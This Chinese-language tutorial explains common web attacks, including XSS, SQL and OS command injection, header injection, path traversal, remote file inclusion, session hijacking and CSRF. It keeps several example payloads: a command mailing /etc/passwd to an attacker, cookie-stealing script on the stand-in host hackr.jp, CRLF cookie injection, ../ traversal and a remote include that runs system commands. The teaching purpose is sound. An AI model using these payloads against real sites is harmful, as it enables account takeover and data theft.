互联网上的攻击大都将web站点作为目标。本文讲解具体有哪些攻击web站点的手段,以及攻击会造成怎样的影响~~
指通过存在安全漏洞的web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。动态创建的HTML部分有可能隐藏着安全漏洞。
1.1 影响
1) 利用虚假输入表单骗取用户个人信息
2) 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
3) 显示伪造的文章或图片
1.2 案例
1)在动态生成HTML处发生
前后代码对比
现象
浏览器打开该URI后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(hackr.jp),导致个人登录信息被窃取。
2)对用户Cookie的窃取攻击
该脚本内指定的http://hackr.jp/xss.js文件
在存在可跨站脚本攻击安全漏洞的web应用上执行这段JavaScript程序,即可访问到该web应用所处域名下的Cookie信息。
然后,这些信息会发送至攻击者的web网站(http://hackr.jp/),记录在它的登录日志中。攻击者就这样窃取到用户的Cookie信息了。
指针对web应用使用的数据库,通过运行非法的SQL而产生的攻击。
2.1 影响
1) 非法查看或篡改数据库内的数据
2) 规避认证
3) 执行和数据库服务器业务关联的程序等
2.2 案例
指通过web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。
3.1 案例
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr的值。
攻击者的输入值中含有分号。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。sendmail命令执行被分割后,接下去就会执行
cat /etc/passwd | mail [email protected]
这样的命令了。结果,含有linux账户信息 /etc/passwd的文件,就以邮件形式发送给了 [email protected]
指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主题的一种攻击。
向首部主体内添加内容的攻击称为HTTP响应截断攻击(HTTP Response Splitting Attack)。
4.1 影响
1) 设置任何Cookie信息
2) 重定向至任意URL
3) 显示任意的主体(HTTP响应截断攻击)
4.2 案例
1)HTTP首部注入攻击案例
该功能为每个类别都设定了一个类别ID值,一旦选定某类别,就会将该ID值反映在响应内的Location首部字段内,形如Location:http://example.com/?cat=101令浏览器发生重定向跳转
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话ID设置成SID=123456789的Set-Cookie首部字段。发送该请求后,假设结果返回以下响应:
此时,首部字段Set-Cookie已生效,因此攻击者可指定修改任意的Cookie信息,通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,攻击者可伪装成用户
攻击者输入的%0D%0A原本属于首部字段Location的查询值部分,经过解析后,%0D%0A变成了换行符,结果插入了新的首部字段。
这样一来,攻击者可在响应中插入任意的首部字段
2)HTTP响应截断攻击案例
HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要讲两个%0D%0A并排插入字符串后发送。利用这个两个连续的换行就可以做出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。
在可能进行HTTP首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应:
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的web页面,再让用户输入自己的个人信息等,可达到跨站脚本攻击相同的效果。
另外,滥用HTTP/1.1中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击成为缓存污染。使用该缓存服务器的用户,在浏览遭到攻击的网站时,会不断地浏览被替换掉的web页面。
指web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的web网站,可对任意邮件地址发送广告邮件或病毒邮件。
5.1 案例
该功能可在表单内填入咨询者的邮件地址及咨询内容后,以邮件的形式发送给网站管理员。
%0D%0A在邮件报文中代表换行符。一旦咨询表单所在的web应用接受了这个换行符,就可能实现对Bcc邮件地址的追加发送,而这原本是无法指定的。
再以相同的方法就有可能改写To和Subject等任意邮件首部或向文本添加附件等动作。
指对本无意公开的文件目录,通过非法截断其目录路径后,造成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击。
通过文本应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用…/等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除web服务器上的文件。
固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。
6.1 案例
该功能通过以下查询字段,指定某个文件名,然后从/www/log/文件目录下读取这个指定的文件。
查询字段为了读取攻击者盯上的/etc/passed文件,会从/www/log/目录开始定位相对路径。如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。
指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
这主要是PHP存在的安全漏洞,对PHP的include或require来说,这是一种可通过设定,指定外部服务器的URL作为文件名的功能。但PHP5.2.0之后默认设定此功能无效。
固然存在输出值转义的问题,但更应控制对任意文件名的指定。
7.1 案例
该功能可通过以下查询字段形式指定文件名,并在脚本内的include语句处读入这个指定文件。
对应脚本的源代码如下:
http://example.com/foo.php的源代码(部分)
攻击者已事先在外部服务器上准备了以下这段脚本
http://hackr.jp/cmd.php的源代码
假设web服务器(example.com)的include可以引入外部服务器的URL,那就会读入攻击者在外部服务器上事先准备的URL(http://hackr.jp/cmd.php)。结果,通过system函数就能在web服务器上执行查询字段指定的OS命令了。
在以上攻击案例中,执行了可现实web服务器上文件及目录信息的ls命令。
指错误设置web服务器,或是由设计上的一些问题引起的安全漏洞。
指从安置在web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
1.1 影响
1)泄露顾客的个人信息等重要情报
2)泄露原本需要具有访问权限的用户才可查阅的信息内容
3)泄露未外连到外界的文件
文件目录一览
http://www.example.com/log/
通过指定文件目录名称,即可在文件一览中看到显示的文件名。
容易被推测的文件名及目录名
http://www.example.com/entry/entry_081202.log
文件名称容易推测(可推出下一个文件是entry_081203.log)
备份文件
http://www.example.com/cgi-bin/entry.cgi(原始文件)
http://www.example.com/cgi-bin/entry.cgi~(备份文件)
http://www.example.com/cgi-bin/entry.bak(备份文件)
由编辑软件自动生成的备份文件无执行权限,有可能直接以源代码形式显示
经认证才可显示的文件
直接通过URL访问原本必须经过认证才能在web页面上使用的文件(HTML文件、图片、PDF等文档、CSS以及其他数据等)
1.2 案例
该日记功能保证了除具有访问权限的用户本人以外,其他人都不能访问日记。
即使没有访问权限,只要知道图片的URL,通过直接访问URL就能显示该图片。日记的功能和文本具有访问对象的控制,但不具备对图片访问对象的控制,从而产生了安全漏洞。
指web应用的错误信息内包含对攻击者有用的信息。
2.1 案例
1)web应用抛出的错误信息
该认证功能,在输入表单内的邮件地址及密码匹配发生错误时,会提示错误信息。
如图,提示“邮件地址未注册”的错误消息。当输入的邮件地址尚未在该web网站上注册时,就会触发这条错误消息。
攻击者利用进行不同的输入会提示不同的错误信息这条,就可用来确认输入的邮件地址是否已在这个web网站上注册过了。
为了不让错误消息给攻击者以启发,建议将提示消息的内容仅保留到“认证错误”这种程度即可。
2)数据库等系统抛出的错误信息
本功能用于检索数据,当输入未预料的字符串时,会提示数据库的错误。
系统抛出的错误主要集中在以下几个方面:
· PHP或ASP等脚本错误
· 数据库或中间件的错误
· web服务器的错误
各系统应对详细的错误消息进行抑制设定,或使用自定义错误消息,以避免某些错误信息给攻击者以启发。
是一种对指定的任意URL作重定向跳转的功能。假如指定的重定向URL到某个具有恶意的web网站,那么用户就会被诱导至那个web网站。
3.1 案例
该功能就是向URL指定参数后,使本来的URL发生重定向跳转。
攻击者把重定向指定的参数改写成已设好陷阱的web网站对应的连接,如下
用户看到URL后原以为访问example.com,不料实际上被诱导至hackr.jp这个指定的重定向目标。
可信度高的web网站如果开放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。
4.1 会话劫持(Session Hijack)
指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。
几种攻击者可获得会话ID的途径:
· 通过非正规的生成方法推测会话ID
· 通过窃听或XSS攻击盗取会话ID
· 通过会话固定攻击(Session Fixation)强行获取会话ID
4.1.1 案例
这里的认证功能通过会话管理机制,会将成功认证的用户的会话ID(SID)保存在用户浏览器的Cookie中。
攻击者在得知该web网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱,一旦用户访问了该脚本,攻击者就能获取含有会话ID的Cookie。
攻击者拿到用户的会话ID后,往自己的浏览器的Cookie中设置该会话ID,即可伪装成会话ID遭窃的用户,访问web网站了。
4.2 会话固定攻击(Session Fixation)
对以窃取目标会话ID为主动攻击手段的会话劫持而言,会话固定攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。
4.2.1 案例
这个web网站的认证功能,会在认证前发布一个会话ID,若认证成功,就会在服务器内改变认证状态。
攻击者准备陷阱,先访问web网站拿到会话ID,此时,会话ID是未认证状态。
攻击者设置好强制用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证,会话ID在服务器的状态就会被记录下来。
最后,攻击者利用已认证的会话ID顺利登陆网站。
Session Adoption
指PHP或ASP.NET能够接受处理未知会话ID的功能。
恶意使用该功能便可跳过会话固定攻击的准备阶段,从web网站获得发行的会话IDD步骤。即,攻击者可私自创建会话ID构成陷阱,中间件却会误以为该会话ID是未知会话ID而接受。
4.3 跨站点请求伪造(Cross-Site Request Forgeries,CSRF)
指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
4.3.1 影响
1)利用已通过认证的用户权限更新设定信息等
2)利用已通过认证用户权限购买商品
3)利用已通过认证用户权限在留言板上发布言论
4.3.2 案例
在该留言板系统上,受害者用户A是已认证状态。它的浏览器中的Cookie持有已认证的会话ID。
攻击者设置好一旦用户访问,即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器执行完陷阱中的请求后,留言板上也就会留下那条评论。
触发陷阱之际,如果用户A尚未通过认证,则无法利用用户A的身份权限在留言板上发表内容。